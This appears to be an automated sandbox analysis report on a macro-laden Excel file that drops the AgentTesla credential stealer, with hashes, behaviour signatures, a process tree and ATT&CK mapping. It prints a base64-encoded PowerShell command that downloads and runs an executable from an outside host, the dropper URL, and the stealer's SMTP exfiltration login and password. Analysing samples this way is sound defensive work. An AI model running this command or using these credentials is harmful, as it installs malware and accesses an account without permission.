Analysis

  • max time kernel
    135s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    22-03-2021 14:14

General

  • Target

    MV TRIADES.xlsm

  • Size

    420KB

  • MD5

    f7f66672f19f2dabe4f7269e32eb8540

  • SHA1

    688ba6fb074142755fecd74056278b145a282f5a

  • SHA256

    9664740123170b912430759af6cfad9ff784ccd266fe93909022093beff051c7

  • SHA512

    b6a3f0df23c731b57ec21ed74bba187a46f49fb35c35a089417b17cc2dc1fed3b4dba04584b1ccb26df7fb7e29459a268c25d4d0df918b9eb0a319303aff360e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://specfloors.net/dev/income.exe

Extracted

Family

agenttesla

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.jiratane.com
  • Port:
    587
  • Username:
    mail@jiratane.com
  • Password:
    Olaola123@

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 18 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\MV TRIADES.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AcwBwAGUAYwBmAGwAbwBvAHIAcwAuAG4AZQB0AC8AZABlAHYALwBpAG4AYwBvAG0AZQAuAGUAeABlACcALAAoACQAZQBuAHYAOgBhAHAAcABkAGEAdABhACkAKwAnAFwAdABOAEQARgB4AC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAFwAdABOAEQARgB4AC4AZQB4AGUA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1404
        • C:\Users\Admin\AppData\Roaming\tNDFx.exe
          "C:\Users\Admin\AppData\Roaming\tNDFx.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:188
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout 1
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Windows\SysWOW64\timeout.exe
              timeout 1
              6⤵
              • Delays execution with timeout.exe
              PID:3752
          • C:\Users\Admin\AppData\Roaming\tNDFx.exe
            "C:\Users\Admin\AppData\Roaming\tNDFx.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1748
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 188 -s 2520
            5⤵
            • Program crash
            PID:1856

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Credentials in Files

3
T1081

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Collection

Data from Local System

3
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\tNDFx.exe
    MD5

    b2ab5d8639c89d42acbdc362b86aca91

    SHA1

    84a55e89e1b5731a0dc1e8475e148b7c3ebb8b01

    SHA256

    7a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa

    SHA512

    f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630

  • C:\Users\Admin\AppData\Roaming\tNDFx.exe
    MD5

    b2ab5d8639c89d42acbdc362b86aca91

    SHA1

    84a55e89e1b5731a0dc1e8475e148b7c3ebb8b01

    SHA256

    7a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa

    SHA512

    f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630

  • C:\Users\Admin\AppData\Roaming\tNDFx.exe
    MD5

    b2ab5d8639c89d42acbdc362b86aca91

    SHA1

    84a55e89e1b5731a0dc1e8475e148b7c3ebb8b01

    SHA256

    7a8e27f4732de792d7904a347061efd90e892a954206adb676fe8b8a914ca3fa

    SHA512

    f7b0c0221812ef3cdee347125236eb7b430305bc904aba40ce49efc921664dd776d4b371649045ed31c062e7fc41391740b217fc3fc2c9f55b41168c6f94b630

  • memory/188-26-0x0000000007970000-0x0000000007971000-memory.dmp
    Filesize

    4KB

  • memory/188-23-0x0000000004690000-0x00000000046D6000-memory.dmp
    Filesize

    280KB

  • memory/188-22-0x0000000006ED0000-0x0000000006ED1000-memory.dmp
    Filesize

    4KB

  • memory/188-21-0x0000000005410000-0x0000000005411000-memory.dmp
    Filesize

    4KB

  • memory/188-19-0x00000000003B0000-0x00000000003B1000-memory.dmp
    Filesize

    4KB

  • memory/188-18-0x0000000073CA0000-0x000000007438E000-memory.dmp
    Filesize

    6.9MB

  • memory/188-15-0x0000000000000000-mapping.dmp
  • memory/200-7-0x0000000000000000-mapping.dmp
  • memory/1404-10-0x00000281ED000000-0x00000281ED001000-memory.dmp
    Filesize

    4KB

  • memory/1404-8-0x0000000000000000-mapping.dmp
  • memory/1404-13-0x00000281ED063000-0x00000281ED065000-memory.dmp
    Filesize

    8KB

  • memory/1404-12-0x00000281ED060000-0x00000281ED062000-memory.dmp
    Filesize

    8KB

  • memory/1404-11-0x00000281ED2F0000-0x00000281ED2F1000-memory.dmp
    Filesize

    4KB

  • memory/1404-14-0x00000281ED066000-0x00000281ED068000-memory.dmp
    Filesize

    8KB

  • memory/1404-9-0x00007FFDFC710000-0x00007FFDFD0FC000-memory.dmp
    Filesize

    9.9MB

  • memory/1748-30-0x0000000073CA0000-0x000000007438E000-memory.dmp
    Filesize

    6.9MB

  • memory/1748-37-0x00000000055E0000-0x00000000055E1000-memory.dmp
    Filesize

    4KB

  • memory/1748-41-0x0000000005231000-0x0000000005232000-memory.dmp
    Filesize

    4KB

  • memory/1748-40-0x00000000062D0000-0x00000000062D1000-memory.dmp
    Filesize

    4KB

  • memory/1748-27-0x0000000000400000-0x000000000043C000-memory.dmp
    Filesize

    240KB

  • memory/1748-28-0x000000000043766E-mapping.dmp
  • memory/1748-39-0x0000000006370000-0x0000000006371000-memory.dmp
    Filesize

    4KB

  • memory/1748-38-0x0000000005E80000-0x0000000005E81000-memory.dmp
    Filesize

    4KB

  • memory/1748-34-0x0000000005230000-0x0000000005231000-memory.dmp
    Filesize

    4KB

  • memory/1856-36-0x00000000047D0000-0x00000000047D1000-memory.dmp
    Filesize

    4KB

  • memory/2700-24-0x0000000000000000-mapping.dmp
  • memory/3752-25-0x0000000000000000-mapping.dmp
  • memory/4004-4-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmp
    Filesize

    64KB

  • memory/4004-2-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmp
    Filesize

    64KB

  • memory/4004-3-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmp
    Filesize

    64KB

  • memory/4004-6-0x00007FFDE1900000-0x00007FFDE1910000-memory.dmp
    Filesize

    64KB

  • memory/4004-5-0x00007FFE08100000-0x00007FFE08737000-memory.dmp
    Filesize

    6.2MB